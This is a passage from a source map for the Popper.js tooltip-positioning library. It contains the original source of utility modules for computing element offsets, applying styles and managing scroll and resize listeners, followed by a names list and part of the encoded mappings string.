depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import computeAutoPlacement from './computeAutoPlacement';\nimport debounce from './debounce';\nimport findIndex from './findIndex';\nimport getBordersSize from './getBordersSize';\nimport getBoundaries from './getBoundaries';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport getClientRect from './getClientRect';\nimport getOffsetParent from './getOffsetParent';\nimport getOffsetRect from './getOffsetRect';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getOuterSizes from './getOuterSizes';\nimport getParentNode from './getParentNode';\nimport getPopperOffsets from './getPopperOffsets';\nimport getReferenceOffsets from './getReferenceOffsets';\nimport getScroll from './getScroll';\nimport getScrollParent from './getScrollParent';\nimport getStyleComputedProperty from './getStyleComputedProperty';\nimport getSupportedPropertyName from './getSupportedPropertyName';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport isFunction from './isFunction';\nimport isModifierEnabled from './isModifierEnabled';\nimport isModifierRequired from './isModifierRequired';\nimport isNumeric from './isNumeric';\nimport removeEventListeners from './removeEventListeners';\nimport runModifiers from './runModifiers';\nimport setAttributes from './setAttributes';\nimport setStyles from './setStyles';\nimport setupEventListeners from './setupEventListeners';\n\n/** @namespace Popper.Utils */\nexport {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n\n// This is here just for backward compatibility with versions lower than v1.10.3\n// you should import the utilities using named exports, if you want them all use:\n// ```\n// import * as PopperUtils from 'popper-utils';\n// ```\n// The default export will be removed in the next major version.\nexport default {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n"],"names":["getStyleComputedProperty","element","property","nodeType","window","ownerDocument","defaultView","css","getComputedStyle","getParentNode","nodeName","parentNode","host","getScrollParent","document","body","overflow","overflowX","overflowY","test","isIE11","isBrowser","MSInputMethodContext","documentMode","isIE10","navigator","userAgent","isIE","version","getOffsetParent","documentElement","noOffsetParent","offsetParent","nextElementSibling","indexOf","isOffsetContainer","firstElementChild","getRoot","node","findCommonOffsetParent","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","element1root","getScroll","side","upperSide","html","scrollingElement","includeScroll","rect","subtract","scrollTop","scrollLeft","modifier","top","bottom","left","right","getBordersSize","styles","axis","sideA","sideB","parseFloat","getSize","computedStyle","Math","max","parseInt","getWindowSizes","getClientRect","offsets","width","height","getBoundingClientRect","e","result","sizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getOffsetRectRelativeToArbitraryNode","children","parent","fixedPosition","runIsIE","isHTML","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","getViewportOffsetRectRelativeToArtbitraryNode","excludeScroll","relativeOffset","innerWidth","innerHeight","offset","isFixed","getFixedPositionOffsetParent","parentElement","el","getBoundaries","popper","reference","padding","boundariesElement","boundaries","boundariesNode","isPaddingNumber","getArea","computeAutoPlacement","placement","refRect","rects","sortedAreas","Object","keys","map","key","sort","a","b","area","filteredAreas","filter","computedPlacement","length","variation","split","longerTimeoutBrowsers","timeoutDuration","i","microtaskDebounce","fn","called","Promise","resolve","then","taskDebounce","scheduled","supportsMicroTasks","find","arr","check","Array","prototype","findIndex","prop","value","cur","match","obj","getOffsetRect","elementRect","offsetLeft","offsetTop","getOuterSizes","x","marginBottom","y","marginRight","getOppositePlacement","hash","replace","matched","getPopperOffsets","referenceOffsets","popperRect","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","getReferenceOffsets","state","commonOffsetParent","getSupportedPropertyName","prefixes","upperProp","charAt","toUpperCase","slice","prefix","toCheck","style","isFunction","functionToCheck","getType","toString","call","isModifierEnabled","modifiers","modifierName","some","name","enabled","isModifierRequired","requestingName","requestedName","requesting","isRequired","requested","warn","isNumeric","n","isNaN","isFinite","getWindow","removeEventListeners","removeEventListener","updateBound","scrollParents","forEach","target","scrollElement","eventsEnabled","runModifiers","data","ends","modifiersToRun","undefined","setAttributes","attributes","setAttribute","removeAttribute","setStyles","unit","attachToScrollParents","event","callback","isBody","addEventListener","passive","push","setupEventListeners","options"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;AAAA;;;;;;;AAOA,AAAe,SAASA,wBAAT,CAAkCC,OAAlC,EAA2CC,QAA3C,EAAqD;MAC9DD,QAAQE,QAAR,KAAqB,CAAzB,EAA4B;WACnB,EAAP;;;QAGIC,SAASH,QAAQI,aAAR,CAAsBC,WAArC;QACMC,MAAMH,OAAOI,gBAAP,CAAwBP,OAAxB,EAAiC,IAAjC,CAAZ;SACOC,WAAWK,IAAIL,QAAJ,CAAX,GAA2BK,GAAlC;;;ACdF;;;;;;;AAOA,AAAe,SAASE,aAAT,CAAuBR,OAAvB,EAAgC;MACzCA,QAAQS,QAAR,KAAqB,MAAzB,EAAiC;WACxBT,OAAP;;SAEKA,QAAQU,UAAR,IAAsBV,QAAQW,IAArC;;;ACRF;;;;;;;AAOA,AAAe,SAASC,eAAT,CAAyBZ,OAAzB,EAAkC;;MAE3C,CAACA,OAAL,EAAc;WACLa,SAASC,IAAhB;;;UAGMd,QAAQS,QAAhB;SACO,MAAL;SACK,MAAL;aACST,QAAQI,aAAR,CAAsBU,IAA7B;SACG,WAAL;aACSd,QAAQc,IAAf;;;;QAIE,EAAEC,QAAF,EAAYC,SAAZ,EAAuBC,SAAvB,KAAqClB,yBAAyBC,OAAzB,CAA3C;MACI,wBAAwBkB,IAAxB,CAA6BH,WAAWE,SAAX,GAAuBD,SAApD,CAAJ,EAAoE;WAC3DhB,OAAP;;;SAGKY,gBAAgBJ,cAAcR,OAAd,CAAhB,CAAP;;;AC9BF,gBAAe,OAAOG,MAAP,KAAkB,WAAlB,IAAiC,OAAOU,QAAP,KAAoB,WAApE;;ACEA,MAAMM,SAASC,aAAa,CAAC,EAAEjB,OAAOkB,oBAAP,IAA+BR,SAASS,YAA1C,CAA7B;AACA,MAAMC,SAASH,aAAa,UAAUF,IAAV,CAAeM,UAAUC,SAAzB,CAA5B;;;;;;;;;AASA,AAAe,SAASC,IAAT,CAAcC,OAAd,EAAuB;MAChCA,YAAY,EAAhB,EAAoB;WACXR,MAAP;;MAEEQ,YAAY,EAAhB,EAAoB;WACXJ,MAAP;;SAEKJ,UAAUI,MAAjB;;;ACjBF;;;;;;;AAOA,AAAe,SAASK,eAAT,CAAyB5B,OAAzB,EAAkC;MAC3C,CAACA,OAAL,EAAc;WACLa,SAASgB,eAAhB;;;QAGIC,iBAAiBJ,KAAK,EAAL,IAAWb,SAASC,IAApB,GAA2B,IAAlD;;;MAGIiB,eAAe/B,QAAQ+B,YAAR,IAAwB,IAA3C;;SAEOA,iBAAiBD,cAAjB,IAAmC9B,QAAQgC,kBAAlD,EAAsE;mBACrD,CAAChC,UAAUA,QAAQgC,kBAAnB,EAAuCD,YAAtD;;;QAGItB,WAAWsB,gBAAgBA,aAAatB,QAA9C;;MAEI,CAACA,QAAD,IAAaA,aAAa,MAA1B,IAAoCA,aAAa,MAArD,EAA6D;WACpDT,UAAUA,QAAQI,aAAR,CAAsByB,eAAhC,GAAkDhB,SAASgB,eAAlE;;;;;MAMA,CAAC,IAAD,EAAO,IAAP,EAAa,OAAb,EAAsBI,OAAtB,CAA8BF,aAAatB,QAA3C,MAAyD,CAAC,CAA1D,IACAV,yBAAyBgC,YAAzB,EAAuC,UAAvC,MAAuD,QAFzD,EAGE;WACOH,gBAAgBG,YAAhB,CAAP;;;SAGKA,YAAP;;;ACpCa,SAASG,iBAAT,CAA2BlC,OAA3B,EAAoC;QAC3C,EAAES,QAAF,KAAeT,OAArB;MACIS,aAAa,MAAjB,EAAyB;WAChB,KAAP;;SAGAA,aAAa,MAAb,IAAuBmB,gBAAgB5B,QAAQmC,iBAAxB,MAA+CnC,OADxE;;;ACPF;;;;;;;AAOA,AAAe,SAASoC,OAAT,CAAiBC,IAAjB,EAAuB;MAChCA,KAAK3B,UAAL,KAAoB,IAAxB,EAA8B;WACrB0B,QAAQC,KAAK3B,UAAb,CAAP;;;SAGK2B,IAAP;;;ACRF;;;;;;;;AAQA,AAAe,SAASC,sBAAT,CAAgCC,QAAhC,EAA0CC,QAA1C,EAAoD;;MAE7D,CAACD,QAAD,IAAa,CAACA,SAASrC,QAAvB,IAAmC,CAACsC,QAApC,IAAgD,CAACA,SAAStC,QAA9D,EAAwE;WAC/DW,SAASgB,eAAhB;;;;QAIIY,QACJF,SAASG,uBAAT,CAAiCF,QAAjC,IACAG,KAAKC,2BAFP;QAGMC,QAAQJ,QAAQF,QAAR,GAAmBC,QAAjC;QACMM,MAAML,QAAQD,QAAR,GAAmBD,QAA/B;;;QAGMQ,QAAQlC,SAASmC,WAAT,EAAd;QACMC,QAAN,CAAeJ,KAAf,EAAsB,CAAtB;QACMK,MAAN,CAAaJ,GAAb,EAAkB,CAAlB;QACM,EAAEK,uBAAF,KAA8BJ,KAApC;;;MAIGR,aAAaY,uBAAb,IACCX,aAAaW,uBADf,IAEAN,MAAMO,QAAN,CAAeN,GAAf,CAHF,EAIE;QACIZ,kBAAkBiB,uBAAlB,CAAJ,EAAgD;aACvCA,uBAAP;;;WAGKvB,gBAAgBuB,uBAAhB,CAAP;;;;QAIIE,eAAejB,QAAQG,QAAR,CAArB;MACIc,aAAa1C,IAAjB,EAAuB;WACd2B,uBAAuBe,aAAa1C,IAApC,EAA0C6B,QAA1C,CAAP;GADF,MAEO;WACEF,uBAAuBC,QAAvB,EAAiCH,QAAQI,QAAR,EAAkB7B,IAAnD,CAAP;;;;ACjDJ;;;;;;;;AAQA,AAAe,SAAS2C,SAAT,CAAmBtD,OAAnB,EAA4BuD,OAAO,KAAnC,EAA0C;QACjDC,YAAYD,SAAS,KAAT,GAAiB,WAAjB,GAA+B,YAAjD;QACM9C,WAAWT,QAAQS,QAAzB;;MAEIA,aAAa,MAAb,IAAuBA,aAAa,MAAxC,EAAgD;UACxCgD,OAAOzD,QAAQI,aAAR,CAAsByB,eAAnC;UACM6B,mBAAmB1D,QAAQI,aAAR,CAAsBsD,gBAAtB,IAA0CD,IAAnE;WACOC,iBAAiBF,SAAjB,CAAP;;;SAGKxD,QAAQwD,SAAR,CAAP;;;AChBF;;;;;;;;;AASA,AAAe,SAASG,aAAT,CAAuBC,IAAvB,EAA6B5D,OAA7B,EAAsC6D,WAAW,KAAjD,EAAwD;QAC/DC,YAAYR,UAAUtD,OAAV,EAAmB,KAAnB,CAAlB;QACM+D,aAAaT,UAAUtD,OAAV,EAAmB,MAAnB,CAAnB;QACMgE,WAAWH,WAAW,CAAC,CAAZ,GAAgB,CAAjC;OACKI,GAAL,IAAYH,YAAYE,QAAxB;OACKE,MAAL,IAAeJ,YAAYE,QAA3B;OACKG,IAAL,IAAaJ,aAAaC,QAA1B;OACKI,KAAL,IAAcL,aAAaC,QAA3B;SACOJ,IAAP;;;ACnBF;;;;;;;;;;AAUA,AAAe,SAASS,cAAT,CAAwBC,MAAxB,EAAgCC,IAAhC,EAAsC;QAC7CC,QAAQD,SAAS,GAAT,GAAe,MAAf,GAAwB,KAAtC;QACME,QAAQD,UAAU,MAAV,GAAmB,OAAnB,GAA6B,QAA3C;;SAGEE,WAAWJ,OAAQ,SAAQE,KAAM,OAAtB,CAAX,EAA0C,EAA1C,IACAE,WAAWJ,OAAQ,SAAQG,KAAM,OAAtB,CAAX,EAA0C,EAA1C,CAFF;;;ACZF,SAASE,OAAT,CAAiBJ,IAAjB,EAAuBzD,IAAvB,EAA6B2C,IAA7B,EAAmCmB,aAAnC,EAAkD;SACzCC,KAAKC,GAAL,CACLhE,KAAM,SAAQyD,IAAK,EAAnB,CADK,EAELzD,KAAM,SAAQyD,IAAK,EAAnB,CAFK,EAGLd,KAAM,SAAQc,IAAK,EAAnB,CAHK,EAILd,KAAM,SAAQc,IAAK,EAAnB,CAJK,EAKLd,KAAM,SAAQc,IAAK,EAAnB,CALK,EAML7C,KAAK,EAAL,IACKqD,SAAStB,KAAM,SAAQc,IAAK,EAAnB,CAAT,IACHQ,SAASH,cAAe,SAAQL,SAAS,QAAT,GAAoB,KAApB,GAA4B,MAAO,EAA1D,CAAT,CADG,GAEHQ,SAASH,cAAe,SAAQL,SAAS,QAAT,GAAoB,QAApB,GAA+B,OAAQ,EAA9D,CAAT,CAHF,GAIE,CAVG,CAAP;;;AAcF,AAAe,SAASS,cAAT,CAAwBnE,QAAxB,EAAkC;QACzCC,OAAOD,SAASC,IAAtB;QACM2C,OAAO5C,SAASgB,eAAtB;QACM+C,gBAAgBlD,KAAK,EAAL,KAAYnB,iBAAiBkD,IAAjB,CAAlC;;SAEO;YACGkB,QAAQ,QAAR,EAAkB7D,IAAlB,EAAwB2C,IAAxB,EAA8BmB,aAA9B,CADH;WAEED,QAAQ,OAAR,EAAiB7D,IAAjB,EAAuB2C,IAAvB,EAA6BmB,aAA7B;GAFT;;;;;;;;;;;;;;;;;ACtBF;;;;;;;AAOA,AAAe,SAASK,aAAT,CAAuBC,OAAvB,EAAgC;sBAExCA,OADL;WAESA,QAAQf,IAAR,GAAee,QAAQC,KAFhC;YAGUD,QAAQjB,GAAR,GAAciB,QAAQE;;;;ACJlC;;;;;;;AAOA,AAAe,SAASC,qBAAT,CAA+BrF,OAA/B,EAAwC;MACjD4D,OAAO,EAAX;;;;;MAKI;QACElC,KAAK,EAAL,CAAJ,EAAc;aACL1B,QAAQqF,qBAAR,EAAP;YACMvB,YAAYR,UAAUtD,OAAV,EAAmB,KAAnB,CAAlB;YACM+D,aAAaT,UAAUtD,OAAV,EAAmB,MAAnB,CAAnB;WACKiE,GAAL,IAAYH,SAAZ;WACKK,IAAL,IAAaJ,UAAb;WACKG,MAAL,IAAeJ,SAAf;WACKM,KAAL,IAAcL,UAAd;KAPF,MASK;aACI/D,QAAQqF,qBAAR,EAAP;;GAXJ,CAcA,OAAMC,CAAN,EAAQ;;QAEFC,SAAS;UACP3B,KAAKO,IADE;SAERP,KAAKK,GAFG;WAGNL,KAAKQ,KAAL,GAAaR,KAAKO,IAHZ;YAILP,KAAKM,MAAL,GAAcN,KAAKK;GAJ7B;;;QAQMuB,QAAQxF,QAAQS,QAAR,KAAqB,MAArB,GAA8BuE,eAAehF,QAAQI,aAAvB,CAA9B,GAAsE,EAApF;QACM+E,QACJK,MAAML,KAAN,IAAenF,QAAQyF,WAAvB,IAAsCF,OAAOnB,KAAP,GAAemB,OAAOpB,IAD9D;QAEMiB,SACJI,MAAMJ,MAAN,IAAgBpF,QAAQ0F,YAAxB,IAAwCH,OAAOrB,MAAP,GAAgBqB,OAAOtB,GADjE;;MAGI0B,iBAAiB3F,QAAQ4F,WAAR,GAAsBT,KAA3C;MACIU,gBAAgB7F,QAAQ8F,YAAR,GAAuBV,MAA3C;;;;MAIIO,kBAAkBE,aAAtB,EAAqC;UAC7BvB,SAASvE,yBAAyBC,OAAzB,CAAf;sBACkBqE,eAAeC,MAAf,EAAuB,GAAvB,CAAlB;qBACiBD,eAAeC,MAAf,EAAuB,GAAvB,CAAjB;;WAEOa,KAAP,IAAgBQ,cAAhB;WACOP,MAAP,IAAiBS,aAAjB;;;SAGKZ,cAAcM,MAAd,CAAP;;;ACzDa,SAASQ,oCAAT,CAA8CC,QAA9C,EAAwDC,MAAxD,EAAgEC,gBAAgB,KAAhF,EAAuF;QAC9F3E,SAAS4E,KAAQ,EAAR,CAAf;QACMC,SAASH,OAAOxF,QAAP,KAAoB,MAAnC;QACM4F,eAAehB,sBAAsBW,QAAtB,CAArB;QACMM,aAAajB,sBAAsBY,MAAtB,CAAnB;QACMM,eAAe3F,gBAAgBoF,QAAhB,CAArB;;QAEM1B,SAASvE,yBAAyBkG,MAAzB,CAAf;QACMO,iBAAiB9B,WAAWJ,OAAOkC,cAAlB,EAAkC,EAAlC,CAAvB;QACMC,kBAAkB/B,WAAWJ,OAAOmC,eAAlB,EAAmC,EAAnC,CAAxB;;;MAGGP,iBAAiBE,MAApB,EAA4B;eACfnC,GAAX,GAAiBY,KAAKC,GAAL,CAASwB,WAAWrC,GAApB,EAAyB,CAAzB,CAAjB;eACWE,IAAX,GAAkBU,KAAKC,GAAL,CAASwB,WAAWnC,IAApB,EAA0B,CAA1B,CAAlB;;MAEEe,UAAUD,cAAc;SACrBoB,aAAapC,GAAb,GAAmBqC,WAAWrC,GAA9B,GAAoCuC,cADf;UAEpBH,aAAalC,IAAb,GAAoBmC,WAAWnC,IAA/B,GAAsCsC,eAFlB;WAGnBJ,aAAalB,KAHM;YAIlBkB,aAAajB;GAJT,CAAd;UAMQsB,SAAR,GAAoB,CAApB;UACQC,UAAR,GAAqB,CAArB;;;;;;MAMI,CAACpF,MAAD,IAAW6E,MAAf,EAAuB;UACfM,YAAYhC,WAAWJ,OAAOoC,SAAlB,EAA6B,EAA7B,CAAlB;UACMC,aAAajC,WAAWJ,OAAOqC,UAAlB,EAA8B,EAA9B,CAAnB;;YAEQ1C,GAAR,IAAeuC,iBAAiBE,SAAhC;YACQxC,MAAR,IAAkBsC,iBAAiBE,SAAnC;YACQvC,IAAR,IAAgBsC,kBAAkBE,UAAlC;YACQvC,KAAR,IAAiBqC,kBAAkBE,UAAnC;;;YAGQD,SAAR,GAAoBA,SAApB;YACQC,UAAR,GAAqBA,UAArB;;;MAIApF,UAAU,CAAC2E,aAAX,GACID,OAAO7C,QAAP,CAAgBmD,YAAhB,CADJ,GAEIN,WAAWM,YAAX,IAA2BA,aAAa9F,QAAb,KAA0B,MAH3D,EAIE;cACUkD,cAAcuB,OAAd,EAAuBe,MAAvB,CAAV;;;SAGKf,OAAP;;;ACtDa,SAAS0B,6CAAT,CAAuD5G,OAAvD,EAAgE6G,gBAAgB,KAAhF,EAAuF;QAC9FpD,OAAOzD,QAAQI,aAAR,CAAsByB,eAAnC;QACMiF,iBAAiBf,qCAAqC/F,OAArC,EAA8CyD,IAA9C,CAAvB;QACM0B,QAAQN,KAAKC,GAAL,CAASrB,KAAKgC,WAAd,EAA2BtF,OAAO4G,UAAP,IAAqB,CAAhD,CAAd;QACM3B,SAASP,KAAKC,GAAL,CAASrB,KAAKiC,YAAd,EAA4BvF,OAAO6G,WAAP,IAAsB,CAAlD,CAAf;;QAEMlD,YAAY,CAAC+C,aAAD,GAAiBvD,UAAUG,IAAV,CAAjB,GAAmC,CAArD;QACMM,aAAa,CAAC8C,aAAD,GAAiBvD,UAAUG,IAAV,EAAgB,MAAhB,CAAjB,GAA2C,CAA9D;;QAEMwD,SAAS;SACRnD,YAAYgD,eAAe7C,GAA3B,GAAiC6C,eAAeJ,SADxC;UAEP3C,aAAa+C,eAAe3C,IAA5B,GAAmC2C,eAAeH,UAF3C;SAAA;;GAAf;;SAOO1B,cAAcgC,MAAd,CAAP;;;ACjBF;;;;;;;;AAQA,AAAe,SAASC,OAAT,CAAiBlH,OAAjB,EAA0B;QACjCS,WAAWT,QAAQS,QAAzB;MACIA,aAAa,MAAb,IAAuBA,aAAa,MAAxC,EAAgD;WACvC,KAAP;;MAEEV,yBAAyBC,OAAzB,EAAkC,UAAlC,MAAkD,OAAtD,EAA+D;WACtD,IAAP;;SAEKkH,QAAQ1G,cAAcR,OAAd,CAAR,CAAP;;;ACjBF;;;;;;;;AAQA,AAAe,SAASmH,4BAAT,CAAsCnH,OAAtC,EAA+C;;MAEvD,CAACA,OAAD,IAAY,CAACA,QAAQoH,aAArB,IAAsC1F,MAA1C,EAAkD;WAC1Cb,SAASgB,eAAhB;;MAEEwF,KAAKrH,QAAQoH,aAAjB;SACOC,MAAMtH,yBAAyBsH,EAAzB,EAA6B,WAA7B,MAA8C,MAA3D,EAAmE;SAC5DA,GAAGD,aAAR;;SAEKC,MAAMxG,SAASgB,eAAtB;;;ACVF;;;;;;;;;;;AAWA,AAAe,SAASyF,aAAT,CACbC,MADa,EAEbC,SAFa,EAGbC,OAHa,EAIbC,iBAJa,EAKbxB,gBAAgB,KALH,EAMb;;;MAGIyB,aAAa,EAAE1D,KAAK,CAAP,EAAUE,MAAM,CAAhB,EAAjB;QACMpC,eAAemE,gBAAgBiB,6BAA6BI,MAA7B,CAAhB,GAAuDjF,uBAAuBiF,MAAvB,EAA+BC,SAA/B,CAA5E;;;MAGIE,sBAAsB,UAA1B,EAAuC;iBACxBd,8CAA8C7E,YAA9C,EAA4DmE,aAA5D,CAAb;GADF,MAIK;;QAEC0B,cAAJ;QACIF,sBAAsB,cAA1B,EAA0C;uBACvB9G,gBAAgBJ,cAAcgH,SAAd,CAAhB,CAAjB;UACII,eAAenH,QAAf,KAA4B,MAAhC,EAAwC;yBACrB8G,OAAOnH,aAAP,CAAqByB,eAAtC;;KAHJ,MAKO,IAAI6F,sBAAsB,QAA1B,EAAoC;uBACxBH,OAAOnH,aAAP,CAAqByB,eAAtC;KADK,MAEA;uBACY6F,iBAAjB;;;UAGIxC,UAAUa,qCACd6B,cADc,EAEd7F,YAFc,EAGdmE,aAHc,CAAhB;;;QAOI0B,eAAenH,QAAf,KAA4B,MA